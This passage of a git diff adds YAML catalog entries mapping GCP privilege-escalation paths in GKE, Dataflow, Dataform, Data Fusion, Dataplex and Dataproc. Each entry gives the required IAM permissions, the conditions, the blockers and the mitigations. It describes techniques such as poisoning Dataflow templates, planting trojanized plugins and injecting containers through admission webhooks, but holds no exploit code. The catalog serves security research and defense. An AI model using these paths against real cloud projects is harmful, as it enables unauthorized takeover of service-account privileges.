MutatingWebhookConfigurations, because its webhook can rewrite those pods (inject containers or commands that run with the pod's KSA). + requires: + any_of: + - - action: container.mutatingWebhookConfigurations.create + resource: "{target.scope}" + - - action: container.mutatingWebhookConfigurations.update + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + scope: cluster + aggregate_as: "KSAs of pods admitted by GKE cluster {target.scope}" + conditions: + - id: webhook_backend + description: The source must control a TLS webhook backend reachable from the API server (an external URL or an in-cluster service it controls) and a rule/scope that matches the victim pods. + - id: victim_admission + description: The edge materialises only when a pod using the target KSA is created or updated after the change (controller restarts, scale-out, rollout). + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: high + mitigation: Restrict container.mutatingWebhookConfigurations.* (roles/container.admin) and monitor admission-webhook configuration changes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + notes: HackTricks @171e422 frames this as persistence or privilege escalation depending on the matching rules and backend; with an attacker-controlled backend and broad rules, any KSA whose pods are re-admitted is reachable (and through privileged-pod injection, the node pool SA). + +- id: gcp-container-pod-template-ksa + provider: gcp + service: container + title: Create or update a pod-template workload that runs as a chosen Kubernetes service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of every Kubernetes service account (and, through Workload Identity, + the Google service accounts bound to them) in GKE clusters where GKE IAM lets it create pods or create/update + pod-template controllers. + requires: + any_of: + - - action: container.pods.create + resource: '{target.scope}' + - - action: container.deployments.create + resource: '{target.scope}' + - - action: container.daemonSets.create + resource: '{target.scope}' + - - action: container.jobs.create + resource: '{target.scope}' + - - action: container.cronJobs.create + resource: '{target.scope}' + - - action: container.statefulSets.create + resource: '{target.scope}' + - - action: container.replicaSets.create + resource: '{target.scope}' + - - action: container.replicationControllers.create + resource: '{target.scope}' + - - action: container.deployments.update + resource: '{target.scope}' + - - action: container.daemonSets.update + resource: '{target.scope}' + - - action: container.statefulSets.update + resource: '{target.scope}' + - - action: container.cronJobs.update + resource: '{target.scope}' + - - action: container.jobs.update + resource: '{target.scope}' + - - action: container.replicaSets.update + resource: '{target.scope}' + - - action: container.replicationControllers.update + resource: '{target.scope}' + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + scope: cluster + aggregate_as: KSAs selectable in pod templates of GKE cluster {target.scope} + conditions: + - id: ksa_rbac + description: The reached privileges are the Kubernetes RBAC of each KSA and, with Workload Identity Federation + for GKE, the Google service accounts that grant roles/iam.workloadIdentityUser to that KSA member. + - id: token_mounted + description: The pod must receive a KSA token (automountServiceAccountToken not disabled for that pod, or a + projected token volume) or use the GKE metadata server for Workload Identity. + - id: admission + description: Admission policies (Pod Security, Policy Controller, Binary Authorization) may reject the workload + or the chosen KSA / image. + - id: api_server_reachable + description: The API server must be reachable (or Connect Gateway access). + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Restrict container.pods.create and pod-controller create/update permissions (roles/container.developer + and above), avoid privileged KSAs, and grant roles/iam.workloadIdentityUser only to dedicated KSAs in namespaces + untrusted principals cannot write to. + references: + - https://kubernetes.io/docs/concepts/security/service-accounts/ + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: GKE IAM authorizes the request without separate Kubernetes RBAC, so this edge is not visible to the in-cluster + k8s catalog. container.pods.update alone only swaps an existing Pod image and keeps its KSA; that narrower existing-pod + KSA credential path is gcp-container-pods-update-running-ksa. The node SA path remains gcp-container-pod-template-node-sa. + The KSA -> Google SA step is the k8s catalog edge k8s-cloud-gke-workload-identity. +- id: gcp-container-namespaced-rbac-ksa + provider: gcp + service: container + title: Grant oneself namespace RBAC beyond held permissions through GKE IAM bind or escalate + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesbind--containerclusterrolesbind + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of Kubernetes service accounts in GKE clusters where GKE IAM lets it write RoleBindings with a bind permission, or namespaced Roles with escalate, because the resulting namespace-scoped admin rights allow running pods as any KSA of those namespaces. + requires: + any_of: + - - action: container.clusterRoles.bind + resource: "{target.scope}" + - action: container.roleBindings.create + resource: "{target.scope}" + - - action: container.clusterRoles.bind + resource: "{target.scope}" + - action: container.roleBindings.update + resource: "{target.scope}" + - - action: container.roles.bind + resource: "{target.scope}" + - action: container.roleBindings.create + resource: "{target.scope}" + - - action: container.roles.bind + resource: "{target.scope}" + - action: container.roleBindings.update + resource: "{target.scope}" + - - action: container.roles.escalate + resource: "{target.scope}" + - action: container.roles.update + resource: "{target.scope}" + - - action: container.roles.escalate + resource: "{target.scope}" + - action: container.roles.create + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + scope: cluster + aggregate_as: "KSAs of namespaces the source can self-grant RBAC in on GKE cluster {target.scope}" + conditions: + - id: strong_role_available + description: clusterRoles.bind can reference cluster-admin or another admin ClusterRole inside a namespace; roles.bind needs an existing powerful Role in the namespace; roles.escalate needs a Role already bound to the source (update) or a RoleBinding referencing a Role name the source can create. + - id: namespace_scope + description: The grant is namespace-scoped; reaching a KSA needs the source to then run a pod as (or mint a token for) that KSA in the same namespace. Cluster-scoped objects stay out of reach. + - id: api_server_reachable + description: The API server must be reachable (or Connect Gateway access). + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Do not grant container.roles.bind/escalate or container.clusterRoles.bind (roles/container.admin, roles/container.clusterAdmin) outside cluster administrators. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control + notes: HackTricks @6fb9ac51fd states the bind permission follows the referenced role kind, not whether the binding is namespaced. The cluster-wide variants are gcp-container-clusterroles-bind and gcp-container-clusterroles-escalate. GKE IAM container.* grants apply to every namespace of every cluster in the project. + +- id: gcp-container-pods-exec-running-ksa + provider: gcp + service: container + title: Reach the KSA of a running pod through GKE exec + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsexec + source_revision: 8d6a341c8a + summary: Exec reaches only KSAs whose tokens are available in running pods of the covered cluster. + requires: + all_of: + - action: container.pods.exec + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: {k8s_sa_used_by_running_pod: true} + scope: cluster + outcome: credentials + conditions: + - id: pod_exec_usable + description: A running container must admit exec and expose its mounted token. + blockers: [gcp_deny_policy] + confidence: conditional + severity: high + mitigation: Restrict GKE pod exec and avoid broadly privileged workload service accounts. + +- id: gcp-container-nodes-proxy-running-ksa + provider: gcp + service: container + title: Reach the KSA of a running pod through the kubelet proxy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containernodesproxy + source_revision: 8d6a341c8a + summary: A usable kubelet exec endpoint reaches tokens of KSAs mounted by running pods. + requires: + all_of: + - action: container.nodes.proxy + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: {k8s_sa_used_by_running_pod: true} + scope: cluster + outcome: credentials + conditions: + - id: kubelet_exec_usable + description: The kubelet proxy must expose an exec path to the matched pod. + blockers: [gcp_deny_policy] + confidence: conditional + severity: high + mitigation: Restrict node proxy and isolate privileged workload service accounts. +- id: gcp-container-pods-update-running-ksa + provider: gcp + service: container + title: Reach the KSA of an existing pod by changing its container image + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 0b36331 + summary: A pod image update can execute attacker code with the existing running pod’s mounted KSA token. + requires: + all_of: + - action: container.pods.update + resource: '{target.scope}' + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_running_pod: true + scope: cluster + outcome: credentials + conditions: + - id: existing_pod + description: A running pod using this KSA must have a mutable container image and an available token; the update + cannot change its KSA. + - id: admission + description: Admission and Binary Authorization must allow the replacement image. + - id: api_server + description: The source must reach the cluster API server. + confidence: conditional + severity: high + mitigation: Restrict GKE pod update on namespaces with privileged KSAs and enforce image admission. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/ + - https://kubernetes.io/docs/concepts/security/service-accounts/ +- id: gcp-container-pods-attach-running-ksa + provider: gcp + service: container + title: Use attach to control an interactive process in a running pod + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsattach + source_revision: 0b36331 + summary: An attach-capable source can issue commands as the pod KSA only when its existing process accepts useful + stdin. + requires: + all_of: + - action: container.pods.attach + resource: '{target.scope}' + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_running_pod: true + gcp_challenge_fact: gcp-container-pods-attach-running-ksa + scope: cluster + outcome: credentials + conditions: + - id: interactive_process + description: A running container process must accept attacker-controlled stdin and permit commands that expose + its token. + - id: api_server + description: Cluster API and attach stream must be reachable. + confidence: conditional + severity: high + mitigation: Restrict pod attach and avoid interactive privileged containers. + references: + - https://kubernetes.io/docs/reference/kubectl/generated/kubectl_attach/ + notes: Must remain UNKNOWN until the collector supplies an attach-usable process fact joined to the pod and KSA. diff --git a/src/privilege-escalation-paths-research/gcp/dataflow.yaml b/src/privilege-escalation-paths-research/gcp/dataflow.yaml new file mode 100644 index 0000000000..bdb6713a72 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/dataflow.yaml @@ -0,0 +1,109 @@ +# GCP Dataflow privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataflow-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Dataflow has no resource-level IAM; worker VMs run as the job's worker SA. + +- id: gcp-dataflow-jobs-create-actas + provider: gcp + service: dataflow + title: Launch a Dataflow job with a chosen worker service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#dataflowjobscreate--iamserviceaccountsactas--execute-code-as-a-selected-worker-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs and that the Dataflow service agent can use. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: dataflow.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Dataflow worker SA in {project}" + conditions: + - id: service_agent_access + description: Workers only start if the Dataflow service agent (service-@dataflow-service-producer-prod) can use the chosen SA; the Compute default SA has this by default, other SAs need it granted. + - id: worker_role + description: The worker SA normally needs roles/dataflow.worker and access to the staging bucket. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor and roles/owner bundle both dataflow.jobs.create and actAs. + references: + - https://cloud.google.com/dataflow/docs/concepts/security-and-permissions + +- id: gcp-dataflow-udf-template-bucket-write + provider: gcp + service: dataflow + title: Overwrite a UDF or YAML job template in Cloud Storage consumed by Dataflow workers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#storageobjectscreate--storageobjectsdelete--poison-a-trusted-dataflow-artifact + source_revision: 171e422 + summary: The source can obtain the privileges of the worker service account of Dataflow jobs whose UDF or template objects it can overwrite. + requires: + all_of: + - action: storage.objects.create + resource: "{target.artifact_arn}" + - action: storage.objects.delete + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: dataflow_job + scope: any + aggregate_as: "Worker SAs of Dataflow jobs consuming writable UDFs/templates" + conditions: + - id: timing + description: The modified file is only picked up when the job starts or new workers spin up (autoscaling, new run); jobs already running with loaded code are unaffected until then. + - id: overwrite_rights + description: Replacing the live generation of an existing object needs storage.objects.create and storage.objects.delete; storage.objects.update only changes metadata and storage.objects.get is only needed to read the original. The consumer must reference the object by name or unpinned latest generation, and retention policies or object holds block replacement. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Keep UDFs and templates in buckets writable only by the deployment pipeline and enable object versioning/retention. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: Dataflow does not validate integrity of UDF/template/staging files (Google calls this shadow resource poisoning). Covers templates, staging dependencies and Python UDFs. Impact is bounded to the worker SA's permissions. + +- id: gcp-dataflow-datapipelines-create-actas + provider: gcp + service: datapipelines + title: Create a scheduled Data Pipeline that relaunches Dataflow as a chosen worker service account + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md#datapipelinespipelinescreate--recurring-dataflow-run-as-sa-via-a-scheduled-data-pipeline-cron-persistence + source_revision: 171e422 + summary: The source can obtain the privileges of service accounts in the project on which it holds iam.serviceAccounts.actAs, by creating a Data Pipeline whose Dataflow launch spec runs attacker-influenced pipeline code as that worker service account. + requires: + all_of: + - action: datapipelines.pipelines.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Data Pipelines worker SA in {project}" + conditions: + - id: trigger + description: The pipeline must be launched, either by datapipelines.pipelines.run or by its Cloud Scheduler schedule; a scheduled pipeline also needs actAs on schedulerServiceAccountEmail. + - id: payload + description: The launch must reference attacker-controlled code (a Flex/classic template, inline Beam YAML or UDF readable by the worker). + - id: service_agent_access + description: The Dataflow service agent must be able to use the worker SA (see gcp-dataflow-jobs-create-actas). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/datapipelines.admin and grant actAs only on specific Dataflow worker SAs. + references: + - https://cloud.google.com/dataflow/docs/guides/data-pipelines + notes: Same actAs gate as dataflow.jobs.create; Data Pipelines adds a recurring trigger that survives revocation of the source. diff --git a/src/privilege-escalation-paths-research/gcp/dataform.yaml b/src/privilege-escalation-paths-research/gcp/dataform.yaml new file mode 100644 index 0000000000..9d18ff6451 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/dataform.yaml @@ -0,0 +1,141 @@ +# GCP Dataform privilege escalation techniques (run-as service account limited to BigQuery jobs). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataform-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Google enforces "strict act-as mode" on all repositories: the caller needs iam.serviceAccounts.actAs on the effective +# service account for repository serviceAccount changes, manual workflow invocations, workflow configs and release configs. +# Scheduled runs are started by the Dataform service agent, which must hold Token Creator (and Service Account User) on +# the effective SA. Compilation runs in Google's environment; only the resulting BigQuery jobs run as the SA. + +- id: gcp-dataform-workflow-invocation-actas + provider: gcp + service: dataform + title: Run a Dataform workflow invocation as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformrepositoriescreate--iamserviceaccountsactas--create-an-attacker-controlled-run-as-repository + source_revision: 171e422 + summary: The source can obtain the BigQuery privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + any_of: + - - action: dataform.repositories.create + resource: "*" + - - action: dataform.repositories.setIamPolicy + resource: "*" + - - action: dataform.workspaces.create + resource: "*" + - action: dataform.workspaces.writeFile + resource: "*" + - action: dataform.compilationResults.create + resource: "*" + - action: dataform.workflowInvocations.create + resource: "*" + - - action: dataform.repositories.commit + resource: "*" + - action: dataform.compilationResults.create + resource: "*" + - action: dataform.workflowInvocations.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Dataform workflow identity in {project}" + conditions: + - id: service_agent_token_creator + description: The Dataform service agent (service-@gcp-sa-dataform) must hold Token Creator on the target SA, otherwise invocations fail. + - id: create_self_admin + description: repositories.create alone suffices because the creator can be granted roles/dataform.admin on the new repository at creation; repositories.setIamPolicy self-grants the same on an existing repository. + - id: bigquery_only + description: The SA identity is used only for BigQuery jobs (queries, DDL/DML, EXPORT DATA), not handed to the source as a general token. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant actAs only on dedicated Dataform SAs, do not grant the Dataform service agent Token Creator on privileged SAs, and restrict roles/dataform.admin and roles/dataform.editor. + references: + - https://docs.cloud.google.com/dataform/docs/strict-act-as-mode + - https://docs.cloud.google.com/dataform/docs/required-access + notes: Covers the repository serviceAccount, per-invocation invocationConfig.serviceAccount, repo setIamPolicy and direct-commit variants. Google's strict act-as mode (enforced for all repositories) requires actAs on the effective SA for repository/workflow-config creation and updates, release-config updates and manual invocations, so actAs is always required here (HackTricks at 171e422 agrees). + + +- id: gcp-dataform-workflowconfig-end-user-invoke + provider: gcp + service: dataform + title: Trigger an existing Dataform workflow configuration that runs with a Google Account's user credentials + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformworkflowinvocationscreate--invoke-an-existing-compilation-result-or-user-credential-workflow + source_revision: 171e422 + summary: The source can make the saved actions of a user-credential Dataform workflow configuration run as the + Google Account that authorized it, without iam.serviceAccounts.actAs. + requires: + all_of: + - action: dataform.workflowInvocations.create + resource: '{target.host_resource}' + target: + kind: gcp_user + selector: + attached_to_service: dataform_workflow_config_end_user + scope: same_project + aggregate_as: Google Accounts whose stored Dataform user credentials back workflow configs the source can invoke + conditions: + - id: preset_actions_only + description: Only the release and action selection already saved in the workflow configuration run; invocation + authority cannot change the SQL, release config, OAuth owner or scopes, and no user token is returned. + - id: valid_user_authorization + description: The workflow configuration must carry invocationConfig.endUserAuthConfig with a still-valid Google + Account authorization. + - id: service_account_variant + description: Service-account-backed invocation also requires caller actAs on the effective SA. gcp-dataform-workflow-invocation-actas + covers attacker-authored SQL; invocation of a pre-existing compilation result with only workflowInvocations.create + plus actAs is a separate fixed-actions path requiring result/SA inventory. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: medium + mitigation: Prefer dedicated service accounts over end-user credentials for Dataform workflows, restrict dataform.workflowInvocations.create + on such repositories, and deny end_user_auth_config with a custom organization policy constraint. + references: + - https://docs.cloud.google.com/dataform/docs/schedule-runs + - https://docs.cloud.google.com/dataform/reference/rest/v1/InvocationConfig + - https://docs.cloud.google.com/dataform/docs/strict-act-as-mode + notes: Replaces gcp-dataform-scheduled-workflow-code-tamper; at 171e422 HackTricks no longer treats internal-repository + commit poisoning as a current path, because strict act-as mode blocks cron releases for repositories without + a third-party remote. Google's docs do not explicitly state which caller permission triggers a user-credential + config, so this follows HackTricks. +- id: gcp-dataform-existing-compilation-result-actas + provider: gcp + service: dataform + title: Invoke saved Dataform actions as their effective service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformworkflowinvocationscreate--invoke-an-existing-compilation-result-or-user-credential-workflow + source_revision: 0b36331 + summary: A caller can trigger the saved BigQuery actions of an existing compilation result as its effective service + account. + requires: + all_of: + - action: dataform.workflowInvocations.create + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_challenge_fact: gcp-dataform-existing-compilation-result-actas + scope: same_project + conditions: + - id: saved_actions + description: A known existing compilation result must contain useful saved actions; the invoker cannot author + SQL through this permission alone. + - id: service_agent + description: The Dataform service agent must be able to mint a token for the effective SA. + confidence: conditional + severity: high + mitigation: Restrict workflow invocation and actAs on service accounts used by saved Dataform results. + references: + - https://docs.cloud.google.com/dataform/reference/rest/v1/projects.locations.repositories.workflowInvocations/create + - https://docs.cloud.google.com/dataform/docs/strict-act-as-mode + notes: UNKNOWN until compilation result to repository, effective SA, and action inventory are joined. diff --git a/src/privilege-escalation-paths-research/gcp/datafusion.yaml b/src/privilege-escalation-paths-research/gcp/datafusion.yaml new file mode 100644 index 0000000000..c89b3503cb --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/datafusion.yaml @@ -0,0 +1,111 @@ + +# GCP Cloud Data Fusion privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-data-fusion-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: datafusion_instance -> the pipeline VM service account(s) of the compute profiles of the Data +# Fusion instance {target.host_resource} (default: the Compute Engine default SA). + +- id: gcp-datafusion-pipelines-create-execute + provider: gcp + service: datafusion + title: Deploy and run a code-capable Data Fusion pipeline as the pipeline VM service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#create-and-execute-a-pipeline-as-its-configured-vm-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of the pipeline VM service account of Data Fusion instances where + it can create and execute pipelines (PySpark / Scala Spark plugins run arbitrary code on the Dataproc cluster). + requires: + all_of: + - action: datafusion.instances.get + resource: '{target.host_resource}' + - action: datafusion.namespaces.get + resource: '{target.host_resource}' + - action: datafusion.pipelines.create + resource: '{target.host_resource}' + - action: datafusion.pipelines.execute + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: datafusion_instance + scope: same_project + aggregate_as: Pipeline VM SAs of Data Fusion instances where the source can run pipelines + conditions: + - id: plugin_installed + description: A code-capable plugin (PySpark Program, Scala Spark) must be installed; uploading one needs datafusion.artifacts.create/update. + - id: valid_compute_profile + description: The Data Fusion service agent must already be able to act as the profile's SA; no caller actAs + is needed. + - id: namespace_scope + description: Pipeline permissions may be granted per namespace on RBAC-enabled instances. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/datafusion.developer and higher; use a low-privilege pipeline SA per compute profile + instead of the Compute Engine default SA. + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac + - https://docs.cloud.google.com/data-fusion/docs/concepts/service-accounts +- id: gcp-datafusion-setiampolicy-self-grant + provider: gcp + service: datafusion + title: Self-grant a Data Fusion instance or namespace role, then run pipelines + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#self-grant-a-data-fusion-instance-or-namespace-role + source_revision: 171e422 + summary: The source can obtain the privileges of the pipeline VM service account of Data Fusion instances whose instance or namespace IAM policy it can write. + requires: + any_of: + - - action: datafusion.instances.setIamPolicy + resource: "{target.host_resource}" + - - action: datafusion.namespaces.setIamPolicy + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: datafusion_instance + scope: same_project + aggregate_as: "Pipeline VM SAs of Data Fusion instances whose IAM policy the source controls" + conditions: + - id: accessor_gate + description: The namespace path also needs effective datafusion.instances.get (roles/datafusion.accessor); Google's RBAC pages disagree on whether it is implicit. + - id: plugin_installed + description: A code-capable plugin must be installed. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Keep Data Fusion setIamPolicy permissions to administrators (Data Fusion Admin, Owner). + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac + +- id: gcp-datafusion-artifacts-create-plugin-poison + provider: gcp + service: datafusion + title: Plant a trojanized CDAP plugin used by existing Data Fusion pipelines + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-data-fusion-persistence.md#malicious-artifact--plugin-planted-in-the-namespace-datafusionartifactscreate + source_revision: 171e422 + summary: The source can obtain the privileges of the pipeline VM service account of Data Fusion instances where it can upload artifacts, when legitimate pipelines load the planted plugin. + requires: + all_of: + - action: datafusion.instances.get + resource: "{target.host_resource}" + - action: datafusion.artifacts.create + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: datafusion_instance + scope: same_project + aggregate_as: "Pipeline VM SAs of Data Fusion instances where the source can upload plugins" + conditions: + - id: victim_pipeline_uses_plugin + description: A deployed pipeline must resolve and run the planted plugin (same name with a newer/selected version, or a widget that runs on load) after the upload. + - id: namespace_scope + description: Artifact permissions may be granted per namespace on RBAC-enabled instances. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict datafusion.artifacts.create/update, pin plugin versions in pipelines and use a low-privilege pipeline SA. + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac diff --git a/src/privilege-escalation-paths-research/gcp/dataplex.yaml b/src/privilege-escalation-paths-research/gcp/dataplex.yaml new file mode 100644 index 0000000000..b939587c91 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/dataplex.yaml @@ -0,0 +1,42 @@ +# GCP Dataplex privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataplex-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-dataplex-tasks-create-actas + provider: gcp + service: dataplex + title: Create a Dataplex Spark task with a chosen execution service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplextaskscreate--iamserviceaccountsactas--execute-attacker-code-as-a-service-account + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by creating a Dataplex Spark task that runs as that execution service account. + requires: + all_of: + - action: dataplex.tasks.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Dataplex task SA in {project}" + conditions: + - id: execution_project_sa + description: The execution SA must belong to the task's execution project (the lake project by default, or a chosen execution project); cross-project execution adds service-agent, networking and quota prerequisites in both projects. + - id: sa_baseline_roles + description: The SA needs the serverless Spark runtime permissions (e.g. roles/dataproc.worker) and read access to every referenced script, JAR or file. + - id: payload_upload + description: The source must be able to place its code at a URI readable by the execution SA; that upload permission is not implied by dataplex.tasks.create. + - id: lake + description: An existing Dataplex lake is required (creating one is not part of the minimum set); Dataplex and Dataproc APIs must be enabled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Dataplex task SAs; roles/editor contains both permissions. + references: + - https://cloud.google.com/dataplex/docs/schedule-custom-spark-tasks + notes: Task updates revalidate actAs on the bound execution identity, so updating an existing task is not modelled as an actAs bypass. diff --git a/src/privilege-escalation-paths-research/gcp/dataproc.yaml b/src/privilege-escalation-paths-research/gcp/dataproc.yaml new file mode 100644 index 0000000000..c51ddc15ea --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/dataproc.yaml @@ -0,0 +1,310 @@ +# GCP Dataproc privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataproc-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Create-time gates: actAs on the chosen SA (caller) and roles/dataproc.worker on that SA (else creation is rejected). + +- id: gcp-dataproc-jobs-create-existing-cluster + provider: gcp + service: dataproc + title: Submit a job to an existing Dataproc cluster and use the cluster service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget-dataprocclustersuse-dataprocjobscreate-dataprocjobsget-dataprocjobslist-storageobjectscreate-storageobjectsget + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Dataproc cluster on which it holds dataproc.clusters.use and dataproc.jobs.create. + requires: + all_of: + - action: dataproc.clusters.use + resource: "{target.host_resource}" + - action: dataproc.jobs.create + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: dataproc_cluster + scope: same_project + aggregate_as: "SAs of Dataproc clusters the source can submit jobs to" + conditions: + - id: script_upload + description: The job script must be readable by the cluster (typically uploaded with storage.objects.create to a bucket the cluster SA can read); CLI workflows also use dataproc.clusters.get and dataproc.jobs.get. + - id: access_scopes + description: The usable token is limited by the cluster VMs' access scopes. + blockers: + - gcp_deny_policy + confidence: derived + severity: high + mitigation: Restrict roles/dataproc.editor/admin to cluster owners and run clusters with least-privilege SAs. + notes: No actAs needed. + +- id: gcp-dataproc-clusters-batches-create-actas + provider: gcp + service: dataproc + title: Create a Dataproc cluster or serverless batch running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclusterscreate--dataprocbatchescreate--iamserviceaccountsactas--attach-an-arbitrary-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs and that holds roles/dataproc.worker. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + any_of: + - - action: dataproc.clusters.create + resource: "*" + - - action: dataproc.batches.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Dataproc VM/batch SA in {project}" + conditions: + - id: sa_worker_role + description: The chosen SA must already be runtime-ready (roles/dataproc.worker for classic clusters and pre-3.0 Serverless runtimes, roles/dataproc.serverlessNode for runtime 3.x, plus staging/temp bucket access); not checked against the target's permissions. roles/dataproc.hubAgent carries both clusters.create and actAs. + - id: access_scopes + description: On classic clusters the node token is limited to the OAuth scopes chosen at create time; the creator can request cloud-platform. Serverless workloads use cloud-platform. + - id: cluster_code_path + description: On the cluster path, initialization actions or a startup-script/ssh-keys metadata key run code as root on the nodes at creation, so dataproc.jobs.create is not required. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; review roles/dataproc.hubAgent which bundles actAs and clusters.create. + references: + - https://cloud.google.com/dataproc/docs/concepts/configuring-clusters/service-accounts + +- id: gcp-dataproc-sessions-create-actas + provider: gcp + service: dataproc + title: Create an interactive Dataproc Serverless session running as a chosen service 